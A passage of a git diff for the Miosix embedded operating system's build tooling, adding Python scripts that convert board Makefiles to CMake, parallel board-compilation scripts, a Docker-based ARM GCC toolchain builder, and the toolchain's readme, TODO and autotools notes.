+import re +import subprocess + +class Definition: + def __init__(self, variable, type, value, comment, disabled, next=None): + self.variable = variable + self.type = type + self.value = value + self.comment = comment + self.disabled = disabled + self.next = next + + def __repr__(self): + return repr({ + 'variable': self.variable, + 'type': self.type, + 'value': self.value, + 'comment': self.comment, + 'disabled': self.disabled}) + +def error(str): + print("error:", str, file=sys.stderr) + sys.exit(1) + +def warning(str): + print("warning:", str, file=sys.stderr) + +def definitions_from_makefile(path: Path): + lines = path.read_text().splitlines() + # Eliminate everything up to the first empty line + # to eliminate header comments + i = 0 + while i < len(lines) and lines[i].strip() != '': + i += 1 + lines = lines[i:] + definitions = {} + last_definition = None + # Find all lines with a plausible assignment in it + # which might be commented + for i, line in enumerate(lines): + match = re.match('(# ?)?([A-Z_]+) +([:?]?=)(.*)', lines[i]) + if not match: + continue + disabled = True if match[1] else False + variable = match[2] + type = match[3] + value = match[4].strip() + # join multi-line values + j = i+1 + while j < len(lines) and value != '' and value[-1] == '\\': + value = value[:-1].strip() + ' ' + lines[j].strip() + j += 1 + # read preceding comments + comments = '' + j = i-1 + while j >= 0 and lines[j] != '' and lines[j][0] == '#': + comments = lines[j] + '\n' + comments + j -= 1 + definition = Definition(variable, type, value, comments, disabled) + if variable in definitions: + old = definitions[variable] + if isinstance(old, Definition): + old = [old] + definitions[variable] = old + [definition] + else: + definitions[variable] = definition + if last_definition is not None: + last_definition.next = definition + last_definition = definition + return definitions + +def find_multilib_dir(options): + if 'arm7tdmi' in options: + # TODO: why does this not work for arm7tdmi? + # probably a bug in -print-search-dirs specifically because when compiling it works fine + return 'arm/v4t/nofp' + out = subprocess.check_output(['arm-miosix-eabi-gcc'] + options.split(' ') + ['-print-search-dirs']).decode('utf-8') + lines = out.splitlines() + libraries = lines[2] + paths = libraries.split(':') + dir = paths[2] + idx = dir.rfind('15.2.0/') + return dir[idx+7:-1] + +def fix_src_paths(paths): + paths = paths.strip().split(' ') + def fix_src_path(path): + path = path.replace('$(CHIP_INC)', '${MIOSIX_CHIP_INC}') + path = path.replace('$(BOARD_INC)', '${MIOSIX_BOARD_INC}') + path = path.replace('$(CPU_INC)', '${MIOSIX_CPU_INC}') + if path[0] != '$': + path = '${CMAKE_CURRENT_SOURCE_DIR}/' + path + return ' ' + path.strip() + return '\n'.join([fix_src_path(path) for path in paths]) + +if __name__ == '__main__': + error('this python module cannot be executed') diff --git a/tools/cmake/sync_boards_with_makefiles.py b/tools/cmake/sync_boards_with_makefiles.py new file mode 100644 index 000000000..dee78a402 --- /dev/null +++ b/tools/cmake/sync_boards_with_makefiles.py @@ -0,0 +1,239 @@ +#!/usr/bin/env python3 +# Copyright (C) 2026 by Daniele Cattaneo +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# This tool regenerates all miosix/arch/board/.../CMakeLists.txt files +# by converting the Makefile.inc files to equivalent CMake syntax and variable +# names. + +from pathlib import Path +from miosix_makefile_parser import * + +def parse_linker_script_options(defs: dict, board_name: str): + ldscripts = defs['LINKER_SCRIPT'] + if isinstance(ldscripts, Definition): + ldscripts = [ldscripts] + ldscripts_options = [] + default_ldscript = None + last_comment = None + for ldscript in ldscripts: + if 'already selected' in ldscript.value: + break + if not ldscript.disabled: + if default_ldscript is not None: + warning(f'multiple default linker scripts for board_name') + default_ldscript = ldscript.value + options = [] + if 'process' in ldscript.value: + options += ['-DWITH_PROCESSES'] + maybe_xram = ldscript.next + if maybe_xram and maybe_xram.variable == 'XRAM' \ + and maybe_xram.disabled == ldscript.disabled \ + and 'not uncomment' not in maybe_xram.comment: + options += maybe_xram.value.split(' ') + comment = None + is_bad_comment = ldscript.comment == '## Select linker script\n' + if last_comment: + is_bad_comment = is_bad_comment or ldscript.comment.find(last_comment) == 0 + if not is_bad_comment: + comment = ldscript.comment + last_comment = comment + if comment: + comment = comment.replace('## Select linker script\n', '') + comment = comment.replace('## Select linker script: ', '# ') + comment = comment.replace('## Select linker script, ', '# ') + comment = comment.replace('## Linker script type, there are two options\n', '') + ldscripts_options += [(ldscript.value, ' '.join(options), comment)] + if default_ldscript is None: + error(f'no default linker script for {board_name}') + return ldscripts_options, default_ldscript + +def parse_board_variant_options(defs: dict, board_name: str): + if 'BOARD_VARIANT' not in defs: + return None, None, None + variants = defs['BOARD_VARIANT'] + if isinstance(variants, Definition): + variants = [variants] + comment = variants[0].comment + options = [v.value for v in variants] + defaults = [v.value for v in variants if v.disabled == False] + if len(defaults) == 0: + error(f'no default board variant for {board_name}') + return comment, options, defaults[-1] + +def board_cmake_from_definitions(defs: dict, board_name: str): + lines = [ + '##', + f'## CMakeLists.txt for board {board_name}', + '##', + '', + '# Directory with header files for this board', + f'set(MIOSIX_CHIP_INC ${{CMAKE_CURRENT_SOURCE_DIR}}/{defs["CHIP_INC"].value})', + '' + ] + + if 'CPU_FLAGS' in defs: + multilibs = find_multilib_dir(defs['CPU_FLAGS'].value) + lines += [ + '# Set the path to the multilib directory for this architecture (used by clang)', + f'set(MIOSIX_MULTILIB_PATH {multilibs})', + '' + ] + if defs['CPU_FLAGS'].comment is not None: + comment = defs['CPU_FLAGS'].comment.strip().replace('##', '#') + else: + comment = '# Select appropriate compiler flags for both ASM/C/C++/linker' + lines += [ + comment, + f'set(MIOSIX_CPU_FLAGS {defs["CPU_FLAGS"].value})', + '' + ] + + ldscripts_options, default_ldscript = parse_linker_script_options(defs, board_name) + ldscript_align = max([len(name) for name, _, _ in ldscripts_options]) + 1 + ldscript_align += (4 - ldscript_align % 4) % 4 + lines += [ + '# Linker script options', + '# Each script in the list may be followed by the compiler options it requires', + '# These options are automatically added to the C/CXX compiler command line when', + '# that linker script is selected', + 'set(MIOSIX_LINKER_SCRIPT_LIST', + ] + for name, options, comments in ldscripts_options: + if comments is not None: + comment_lines = comments.strip().splitlines() + comment_lines = [' '+line.replace('##', '#') for line in comment_lines] + lines += comment_lines + lines += [' ' + (name + ' '*(ldscript_align-len(name)) + options).strip()] + lines += [ + ')', + f'set(MIOSIX_DEFAULT_LINKER_SCRIPT {default_ldscript})', + '' + ] + + variant_comment, variant_opts, variant_default = parse_board_variant_options(defs, board_name) + if variant_comment: + lines += [variant_comment.replace('##', '#').strip()] + if variant_opts: + lines += ['set(MIOSIX_BOARD_VARIANT_LIST'] + lines += [' ' + v for v in variant_opts] + lines += [ + ')', + f'set(MIOSIX_DEFAULT_BOARD_VARIANT {variant_default})', + '' + ] + + src = fix_src_paths(defs["BOARD_SRC"].value) + lines += [ + '# Select architecture specific files', + f'set(MIOSIX_BOARD_SRC', + src, + ')', + '' + ] + + cflags = defs["BOARD_CFLAGS"].value + cflags = cflags.replace(' -D$(BOARD_VARIANT)','') + cxxflags = defs["BOARD_CFLAGS"].value + cxxflags = cxxflags.replace(' -D$(BOARD_VARIANT)', '') + lines += ['# Add a #define to allow querying board name'] + # check for mandatory __enable_xram + if 'XRAM' in defs: + xrams = defs['XRAM'] + if isinstance(xrams, Definition): + xrams = [xrams] + xrams = [xram for xram in xrams if xram.disabled == False] + if len(xrams) > 0 and 'not uncomment' in xrams[-1].comment: + comment = xrams[-1].comment.strip().replace('##', '#') + lines += [comment] + cflags += ' ' + xrams[-1].value.strip() + cxxflags += ' ' + xrams[-1].value.strip() + lines += [ + f'set(MIOSIX_BOARD_C_FLAGS {cflags})', + f'set(MIOSIX_BOARD_CXX_FLAGS {cxxflags})', + '' + ] + + lines += [ + '# Specify a custom flash command', + '# This is the program that is invoked when the program- target is', + '# built. Use or as placeolders, they will be replaced by the', + '# build systems with the binary or hex file path repectively.', + '# If a command is not specified, the build system will fallback to st-flash' + ] + prog_cmd = '#set(PROGRAM_CMDLINE ...)' + if 'PROG' not in defs: + warning(f'board {board_name} does not have PROG definitions') + else: + prog = defs['PROG'] + if not isinstance(prog, Definition): + warning(f'board {board_name} has multiple PROG definitions, ' + 'this is unsupported by the CMake synchronization tool') + else: + prog_cmd = prog.value.replace('$(if $(ROMFS_DIR), image.bin, main.bin)', '') + prog_cmd = prog_cmd.replace('$(PROG_BIN)', '') + prog_cmd = prog_cmd.replace('$(KPATH)/$(BOARD_INC)', '${MIOSIX_BOARD_INC}') + prog_cmd = prog_cmd.replace('$(KPATH)', '${CMAKE_CURRENT_SOURCE_DIR}') + prog_cmd = prog_cmd.replace('$(BOARD_INC)', '${MIOSIX_BOARD_INC}') + if 'st-flash' not in prog.value: + prog_cmd = 'set(PROGRAM_CMDLINE ' + prog_cmd + ')' + else: + prog_cmd = '#set(PROGRAM_CMDLINE ' + prog_cmd + ')' + lines += [ + prog_cmd, + '' + ] + + unused_defs = set(defs.keys()) - { + "CHIP_INC", 'LINKER_SCRIPT', 'XRAM', 'BOARD_VARIANT', 'BOARD_SRC', + 'BOARD_CFLAGS', 'BOARD_CXXFLAGS', 'PROG', 'CPU_FLAGS' + } + if len(unused_defs) > 0: + warning(f'unused definitions {unused_defs} in {board_name}') + return '\n'.join(lines) + +def main(): + arch_board_path = Path('../../miosix/arch/board') + if not arch_board_path.is_dir(): + error("The current directory must be the script's directory") + all_board_makefiles = list(arch_board_path.glob("*/Makefile.inc")) + #all_board_makefiles = list(arch_board_path.glob("rp2040*/Makefile.inc")) + #all_board_makefiles = list(arch_board_path.glob("stm32f429zi_skyward_anakin/Makefile.inc")) + print(len(all_board_makefiles)) + for makefile in all_board_makefiles: + print(makefile) + defs = definitions_from_makefile(makefile) + board_name = makefile.parts[-2] + config_makefile = Path('../../miosix/config/board') / board_name / 'Makefile.inc' + if config_makefile.is_file(): + defs |= definitions_from_makefile(config_makefile) + cmake = board_cmake_from_definitions(defs, board_name) + cmake_path = makefile.parent / 'CMakeLists.txt' + #if cmake_path.exists(): + # warning(f'overwriting {cmake_path}') + cmake_path.write_text(cmake) + +if __name__ == '__main__': + main() diff --git a/tools/cmake/sync_chips_with_makefiles.py b/tools/cmake/sync_chips_with_makefiles.py new file mode 100644 index 000000000..aeef7f452 --- /dev/null +++ b/tools/cmake/sync_chips_with_makefiles.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python3 +# Copyright (C) 2026 by Daniele Cattaneo +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +# This tool regenerates all miosix/arch/board/.../CMakeLists.txt files +# by converting the Makefile.inc files to equivalent CMake syntax and variable +# names. + +from pathlib import Path +from miosix_makefile_parser import * + +def chip_cmake_from_definitions(defs: dict, chip_name: str): + cflags = defs["CHIP_CFLAGS"].value.replace(' $(XRAM)', '') + cxxflags = defs["CHIP_CXXFLAGS"].value.replace(' $(XRAM)', '') + if 'CPU_FLAGS' in defs: + cpuflags = defs["CPU_FLAGS"].value + multilib = find_multilib_dir(cpuflags) + else: + cpuflags = None + src = fix_src_paths(defs["CHIP_SRC"]) + lines = [ + '##', + f'## CMakeLists.txt for chip {chip_name}', + '##', + '', + '# CPU microarchitecture', + f'set(MIOSIX_CPU_INC ${{CMAKE_CURRENT_SOURCE_DIR}}/{defs["CPU_INC"].value})', + '' + ] + if cpuflags is not None: + lines += [ + '# Set the path to the multilib directory for this architecture (used by clang)', + f'set(MIOSIX_MULTILIB_PATH {multilib})', + '' + ] + lines += [ + '# Select appropriate compiler flags for both ASM/C/C++/linker' + ] + if cpuflags is not None: + lines += [f'set(MIOSIX_CPU_FLAGS {cpuflags})'] + lines += [ + f'set(MIOSIX_CHIP_C_FLAGS {cflags})', + f'set(MIOSIX_CHIP_CXX_FLAGS {cxxflags})', + '', + '# Select architecture specific files', + f'set(MIOSIX_CHIP_SRC', + src, + ')', + '' + ] + unused_defs = set(defs.keys()) - { + "CHIP_CFLAGS", "CHIP_CXXFLAGS", 'CPU_FLAGS', "CHIP_SRC", + "CHIP_SRC", "CPU_INC" + } + if len(unused_defs) > 0: + warning(f'unused definitions {unused_defs} in {chip_name}') + return '\n'.join(lines) + +def main(): + arch_chip_path = Path('../../miosix/arch/chip') + if not arch_chip_path.is_dir(): + error("The current directory must be the script's directory") + all_chips_makefiles = list(arch_chip_path.glob("*/Makefile.inc")) + for makefile in all_chips_makefiles: + chip_name = makefile.parts[-2] + defs = definitions_from_makefile(makefile) + cmake = chip_cmake_from_definitions(defs, chip_name) + cmake_path = makefile.parent / 'CMakeLists.txt' + #if cmake_path.exists(): + # warning(f'overwriting {cmake_path}') + cmake_path.write_text(cmake) + +if __name__ == '__main__': + main() diff --git a/tools/compile_all_boards/.gitignore b/tools/compile_all_boards/.gitignore new file mode 100644 index 000000000..bb7e78dec --- /dev/null +++ b/tools/compile_all_boards/.gitignore @@ -0,0 +1,6 @@ +*.txt +*.asm +*.bin +*.elf +*.log +*.build diff --git a/miosix/_tools/compile_all_boards/README b/tools/compile_all_boards/README similarity index 100% rename from miosix/_tools/compile_all_boards/README rename to tools/compile_all_boards/README diff --git a/miosix/_tools/compile_all_boards/compile_all_boards.sh b/tools/compile_all_boards/compile_all_boards.sh similarity index 86% rename from miosix/_tools/compile_all_boards/compile_all_boards.sh rename to tools/compile_all_boards/compile_all_boards.sh index f445edcd4..a6a7c0044 100755 --- a/miosix/_tools/compile_all_boards/compile_all_boards.sh +++ b/tools/compile_all_boards/compile_all_boards.sh @@ -29,8 +29,9 @@ #set -x SCRIPT_ROOT=$(cd -- $(dirname -- "$0") && pwd) -REPO_ROOT="$SCRIPT_ROOT"/../../.. -cd "$REPO_ROOT" +KPATH="$SCRIPT_ROOT"/../../miosix +EXAMPLE_ROOT="$SCRIPT_ROOT"/../../templates/simple +cd "$EXAMPLE_ROOT" dir="$SCRIPT_ROOT" usage() @@ -52,12 +53,20 @@ if [[ $# -ne 0 ]]; then exit 1 fi -boards=$(grep -E 'OPT_BOARD := ' "miosix/config/Makefile.inc" | sed -E 's/#?OPT_BOARD := //g') +if command -v nproc > /dev/null; then + PARALLEL="-j$(nproc)" +elif [[ $(uname -s) == 'Darwin' ]]; then + PARALLEL="-j$(sysctl -n hw.logicalcpu)" +else + PARALLEL="-j1"; +fi + +boards=$(grep -E 'OPT_BOARD := ' "$KPATH/config/Makefile.inc" | sed -E 's/#?OPT_BOARD := //g') clean for board in $boards; do make clean OPT_BOARD=$board &> /dev/null - make -j8 VERBOSE=1 OPT_BOARD=$board &> "$dir/$board.log" + make $PARALLEL VERBOSE=1 OPT_BOARD=$board &> "$dir/$board.log" if [[ $? == 0 ]]; then mv main.bin "$dir/$board.bin" mv main.elf "$dir/$board.elf" diff --git a/tools/compile_all_boards/compile_all_boards_cmake.sh b/tools/compile_all_boards/compile_all_boards_cmake.sh new file mode 100755 index 000000000..681d65a65 --- /dev/null +++ b/tools/compile_all_boards/compile_all_boards_cmake.sh @@ -0,0 +1,89 @@ +#!/usr/bin/env bash +# +# Copyright (C) 2023-2024 by Daniele Cattaneo +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU General +# Public License. This exception does not invalidate any other reasons +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see +# + +#set -x + +SCRIPT_ROOT=$(cd -- $(dirname -- "$0") && pwd) +REPO_ROOT="$SCRIPT_ROOT"/../.. +PROJECT_ROOT="$REPO_ROOT"/templates/simple +cd "$PROJECT_ROOT" +dir="$SCRIPT_ROOT" + +usage() +{ + printf 'usage: %s [clean]\n' $0 +} + +clean() +{ + rm -rf "$dir"/*.build +} + +if [[ $# -eq 1 && $1 == 'clean' ]]; then + clean + exit 0 +fi +if [[ $# -ne 0 ]]; then + usage $0 + exit 1 +fi + +if command -v nproc > /dev/null; then + PARALLEL="-j$(nproc)" +elif [[ $(uname -s) == 'Darwin' ]]; then + PARALLEL="-j$(sysctl -n hw.logicalcpu)" +else + PARALLEL="-j1"; +fi + +boards=$(cd "$REPO_ROOT/miosix/arch/board"; ls) + +clean +for board in $boards; do + if [[ -e "$REPO_ROOT/miosix/arch/board/${board}/CMakeLists.txt" ]]; then + rm -rf "$dir/$board.build" + mkdir -p "$dir/$board.build" + cmake -B "$dir/$board.build" -S . \ + -GUnix\ Makefiles \ + -DMIOSIX_BOARD=$board -DCMAKE_VERBOSE_MAKEFILE=TRUE \ + &> "$dir/$board.build/main.log" + cmake --build "$dir/$board.build" $PARALLEL &>> "$dir/$board.build/main.log" + if [[ $? == 0 ]]; then + arm-miosix-eabi-objdump -d "$dir/$board.build/main.elf" > "$dir/$board.build/main.asm" + arm-miosix-eabi-size "$dir/$board.build/main.elf" > "$dir/$board.build/main_size.txt" + echo "OK $board" + else + echo "failed $board" + fi + else + echo "ign $board" + fi +done +echo '*****' +echo 'done!' +echo '*****' diff --git a/tools/compiler/Dockerfile b/tools/compiler/Dockerfile new file mode 100644 index 000000000..2a85c1ead --- /dev/null +++ b/tools/compiler/Dockerfile @@ -0,0 +1,32 @@ +# ========================================== +# Stage 1: build toolchain +# ========================================== +FROM ubuntu:20.04 AS builder + +ARG COMPILER +ENV COMPILER=${COMPILER} + +ENV DEBIAN_FRONTEND=noninteractive + +RUN apt update && apt -y install \ + gcc g++ make libncurses5-dev byacc flex texinfo patch tar unzip lzip \ + libelf-dev perl libexpat1-dev curl xz-utils sudo + +# Copy only the selected subdirectory +COPY ${COMPILER} /project/${COMPILER} + +WORKDIR /project/${COMPILER} + +RUN echo 'export PATH=/opt/arm-miosix-eabi/bin:$PATH' >> /root/.profile + +RUN ./download.sh && ./install-script.sh -j$(nproc) + +WORKDIR /opt +RUN tar -zcvf arm-miosix-eabi-${COMPILER}.tar.gz arm-miosix-eabi + +# ========================================== +# Stage 2: export artifact +# ========================================== +FROM scratch AS export +ARG COMPILER +COPY --from=builder /opt/arm-miosix-eabi-${COMPILER}.tar.gz / diff --git a/tools/compiler/build_with_docker.sh b/tools/compiler/build_with_docker.sh new file mode 100755 index 000000000..7da4fbb57 --- /dev/null +++ b/tools/compiler/build_with_docker.sh @@ -0,0 +1,36 @@ +#!/bin/bash +set -euo pipefail + +# Script must be run from the compiler directory. +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +cd "$SCRIPT_DIR" + +list_compilers() { + find . -maxdepth 1 -type d -name "gcc-*" -printf "%f\n" | sort +} + +# Select compiler +if [[ $# -ge 1 ]]; then + COMPILER="$1" +else + echo "Available compilers:" + list_compilers + echo "" + read -p "Select compiler: " COMPILER +fi + +# Validate +if [[ ! -d "$COMPILER" ]]; then + echo "Error: directory '$COMPILER' does not exist." + exit 1 +fi + +echo "Using compiler: $COMPILER" +echo "" + +# Build using Dockerfile in this directory +docker build \ + --build-arg COMPILER="$COMPILER" \ + --output "$SCRIPT_DIR" \ + -t toolchain-builder:"$COMPILER" \ + "$SCRIPT_DIR" diff --git a/tools/compiler/gcc-14.2.0-mp4.0/.gitignore b/tools/compiler/gcc-14.2.0-mp4.0/.gitignore new file mode 100644 index 000000000..720211776 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/.gitignore @@ -0,0 +1,19 @@ +downloaded +objdir +newlib-obj +lib +gcc +dist +log +ramdisk +binutils-* +gcc-* +gdb-* +gmp-* +mpc-* +mpfr-* +newlib-* +expat-* +lpc21isp.c +# Generated by install-script.sh during local builds +env.sh diff --git a/tools/compiler/gcc-14.2.0-mp4.0/Readme.txt b/tools/compiler/gcc-14.2.0-mp4.0/Readme.txt new file mode 100644 index 000000000..81dac48c3 --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/Readme.txt @@ -0,0 +1,79 @@ +This is the readme for installing the arm-miosix-eabi-gcc compiler, +required to build Miosix. +Currently this can only be done on Linux, even when compiling a +compiler that will work for Windows. +=================================================================== + + +Step 1 +------ +Copy this folder in a path without spaces, or compiling will fail. +Example: +/home/foo/temp OK +/home/foo/directory with spaces/temp NO!! + + +Step 2 +------ +Install the following dependencies: +gcc, g++, make, ncurses, byacc, flex, texinfo, patch, tar, unzip, lzip, libelf perl libexpat + +For example, for Ubuntu/Kubuntu open a shell and type: +sudo apt-get install gcc g++ make libncurses5-dev byacc flex texinfo patch tar unzip lzip libelf-dev perl libexpat1-dev + +While on Fedora: +sudo dnf install gcc gcc-c++ make ncurses-devel byacc flex texinfo patch tar unzip lzip elfutils-libelf-devel perl expat-devel + +Note: these scripts require "sudo" unless you want to intall the compiler locally. +If you use a distro like Fedora where sudo is not enabled by default, use "visudo" to enable sudo for your account. + +Step 3 +------ +Download the the required sources with the download script: + +./download.sh + + +Step 4 +------ +After meeting these prerequisites, install: + +./install-script.sh -j`nproc` +./cleanup.sh + +Both scripts will prompt for root password at some point. It is normal, +since they need to write in /opt and /usr/bin. +The cleanup script won't remove the compressed files downloaded with the +download script. You might want to do so manually to save space on your disk. + + +Step 5 +------ +Test the compiler by typing in a shell + +arm-miosix-eabi-gcc -v + +If you get something like + +bash: arm-miosix-eabi-gcc: command not found + +it means something did not work. + + +Step 6 +------ +If required, also install OpenOCD for in circuit debugging. +There are no scripts for doing that, since it is rather independent on the +gcc version. On many distros it is also available thrugh package managers, +for example on Ubuntu/Kubuntu you can install it with + +sudo apt-get install openocd + +Uninstalling the compiler +========================= +In case you need to uninstall the compiler (perhaps because you need to install +an upgraded version as part of a new Miosix release) you can run the + +./uninstall.sh + +script. diff --git a/tools/compiler/gcc-14.2.0-mp4.0/TODO b/tools/compiler/gcc-14.2.0-mp4.0/TODO new file mode 100644 index 000000000..10d75560e --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/TODO @@ -0,0 +1,94 @@ + +miosix/stdlib_integration/libstdcpp_integration.cpp:48:#warning: TODO: FIX __gthread_key_t in libstdc++/include/std/memory_resource + +add this to newlib options? +--disable-newlib-wide-orient + +Add libsyscalls to the compiler and have gcc link with it be default by +creating a specs file, remove stubs.c in newlib. Also, build newlib without +libnosys and the other unused stub libraries. + +Reduce MAXNAMLEN in newlib from 1024 to 256, it is used to allocate a buffer +on the stack in newlib/libc/posix/execvp.c + +Make ino_t a long long, to support, e.g, greater than 128GByte SD cards. +Would require changes to the filesystems meant to support very large disks, such +as fat32 too. + +Fix newlib so that the lstat syscall function prototype is made available, +and maybe add prototype for _lstat_r too + +Update sys/lock.h make pthread_mutex_t compatible with future decisions to +replace the custom list with IntrusiveList. +Update _pthreadtypes.h removing the forward declaration of WaitingList and +change pthread_cond_t to be two opaque pointers, comment that it should have +a memory layout compatible with IntrusiveList. + +In libstdc++ header condition_variable the __wait_until_impl checks for timeout +in this way: +__gthread_cond_timedwait(&_M_cond, __lock.mutex()->native_handle(), &__ts); +return (__clock_t::now() < __atime ? cv_status::no_timeout : cv_status::timeout); +use the return value of pthread_cond_timedwait instead to optimize code + +TODO: can't we just define _GLIBCXX_USE_PTHREAD_COND_CLOCKWAIT since support +has been added in GCC 14???? +---- old note --- +In libstdc++ header condition_variable condition_variable::wait_for calls both clock_gettime(CLOCK_REALTIME... and clock_gettime(CLOCK_MONOTONIC... +This is not needed as pthread_cond_timedwait in Miosix refuses to follow the +(broken) standard on purpose and accepts the timeout directly in terms of +CLOCK_MONOTONIC. +defiitions are in time.h, CLOCK_REALTIME is 1, wile CLOCK_MONOTONIC is 4 +Some test code: + +#include +#include +#include +#include +#include +#include +#include "miosix.h" + +using namespace std; +using namespace std::chrono; +using namespace miosix; + +mutex t25_m1; +condition_variable t25_c1; + +void fail(const char *s) { iprintf("Fail %s\n",s); for(;;) ; } + +int main() +{ + { + unique_lock l(t25_m1); + auto a=chrono::steady_clock::now().time_since_epoch().count(); + if(t25_c1.wait_for(l,10ms)!=cv_status::timeout) fail("timedwait (1)"); + auto b=chrono::steady_clock::now().time_since_epoch().count(); + //iprintf("delta=%lld\n",b-a-10000000); + if(llabs(b-a-10000000)>200000) fail("timedwait (2)"); + } + { + unique_lock l(t25_m1); + auto start=chrono::steady_clock::now(); + auto a=start.time_since_epoch().count(); + if(t25_c1.wait_until(l,start+10ms)!=cv_status::timeout) fail("timedwait (3)"); + auto b=chrono::steady_clock::now().time_since_epoch().count(); + //iprintf("delta=%lld\n",b-a-10000000); + if(llabs(b-a-10000000)>200000) fail("timedwait (4)"); + } + { + thread t([]{ + this_thread::sleep_for(30ms); + t25_c1.notify_one(); + }); + auto a=chrono::steady_clock::now().time_since_epoch().count(); + unique_lock l(t25_m1); + if(t25_c1.wait_for(l,100ms)!=cv_status::no_timeout) fail("timedwait (5)"); + auto b=chrono::steady_clock::now().time_since_epoch().count(); + //iprintf("delta=%lld\n",b-a-30000000); + if(llabs(b-a-30000000)>500000) fail("timedwait (6)"); + t.join(); + } + + for(;;) ; +} diff --git a/tools/compiler/gcc-14.2.0-mp4.0/autotools/Autohell.txt b/tools/compiler/gcc-14.2.0-mp4.0/autotools/Autohell.txt new file mode 100644 index 000000000..ac041508b --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/autotools/Autohell.txt @@ -0,0 +1,85 @@ + +One way ticket to (autotools) hell and back. +============================================ + +A quick guide on how to make autotools work well enough in newlib to make patches. + +First of all the main part of the solution: autoreconf + +When adding new source files to a directory, use + +$ autoreconf --no-recursive +$ find . -name autom4te.cache | xargs rm -rf + +The first command does the job. The --no-recursive option is to prevent it +from trying to 'fix' configure files in all subdirectories. The second +command removes all temporary files generated by the first. + +When adding a new directory with source files, you've got to add a configure.in +and Makefile.am, by copying them from another directory and tweaking them. +Then, go up one directory, open configure.in and add AC_CONFIG_SUBDIRS(newdir) +where newdir is the new directory. After that, do a + +$ autoreconf +$ find . -name autom4te.cache | xargs rm -rf + +Is this all? No, obviously. First of all, a small notice: never do an +autoreconf in the top level directory. At most do an autoreconf in the +newlib subdirectory. + +Then, the big trouble: autoconf and automake, the two tools behind all this +autoconfiguration magic are neither forward nor backward compatible. If you +try to autoreconf with a different version than the one used in newlib, +they'll try to heavily modify each and every configure they come across, +resulting in a diff from the previous version of several megabytes. + +So, you've got to download the exact version of autoconf and automake, +make an autotools directory, copy the autoconf and automake of the exact +version taken from the GNU website, and then + +wget https://ftpmirror.gnu.org/autoconf/autoconf-2.69.tar.gz +wget https://ftpmirror.gnu.org/automake/automake-1.15.1.tar.gz +mkdir autobins +PFX=`pwd`/autobins +tar xvf autoconf-2.69.tar.gz +cd autoconf-2.69 +./configure --prefix=$PFX +make +make install +cd .. +tar xvf automake-1.15.1.tar.gz +cd automake-1.15.1 +./configure --prefix=$PFX +make +make install +cd .. +export PATH=`pwd`/autobins/bin:$PATH + + +cd ../autobins/share +rm -rf aclocal +ln -s `pwd`/aclocal-1.15 aclocal +cd - +Note that the last command is necessary because during installation an +aclocal-1.11 directory is created, but the scripts expect an aclocal directory. +Essentially, the make install of automake is broken, go figure... + +After that, before running autoreconf do an export PATH=:$PATH, where + is the bin directory where autoconf and automake were installed. + +But wait, there's more fail! +The old autotools scripts fail to run with the new perl interpreter... + +$ automake --version +Unescaped left brace in regex is illegal here in regex; marked by <-- HERE in m/\${ <-- HERE ([^ \t=:+{}]+)}/ at /home/fede/Documents/programmazione/miosix/newcompiler/compiler/autotools/autobins/bin/automake line 4159. + +If it does so, fix it like this: +http://gnu-automake.7480.n7.nabble.com/bug-23602-Unescaped-left-brace-in-regex-is-deprecated-passed-through-in-regex-td22201.html + +sub substitute_ac_subst_variables ($) +{ + my ($text) = @_; +# $text =~ s/\${([^ \t=:+{}]+)}/&substitute_ac_subst_variables_worker ($1)/ge; + $text =~ s/\$\{([^ \t=:+{}]+)\}/substitute_ac_subst_variables_worker ($1)/ge; + return $text; +} diff --git a/tools/compiler/gcc-14.2.0-mp4.0/cleanup.sh b/tools/compiler/gcc-14.2.0-mp4.0/cleanup.sh new file mode 100755 index 000000000..a56f5321a --- /dev/null +++ b/tools/compiler/gcc-14.2.0-mp4.0/cleanup.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash + +# After running install-script.sh, this script will clean up temporary files. +# It will not remove the files created by the download.sh script, so that +# running install-script.sh is possible without re-downloading them. + +rm -rf binutils-2.44 gcc-14.2.0 gdb-16.2 gdb-obj newlib-3.1.0 newlib-obj \ + gmp-6.3.0 mpfr-4.2.1 mpc-1.3.1 make-4.2.1 expat-2.2.10 ncurses-6.1 \ + makeself-2.4.5 lib 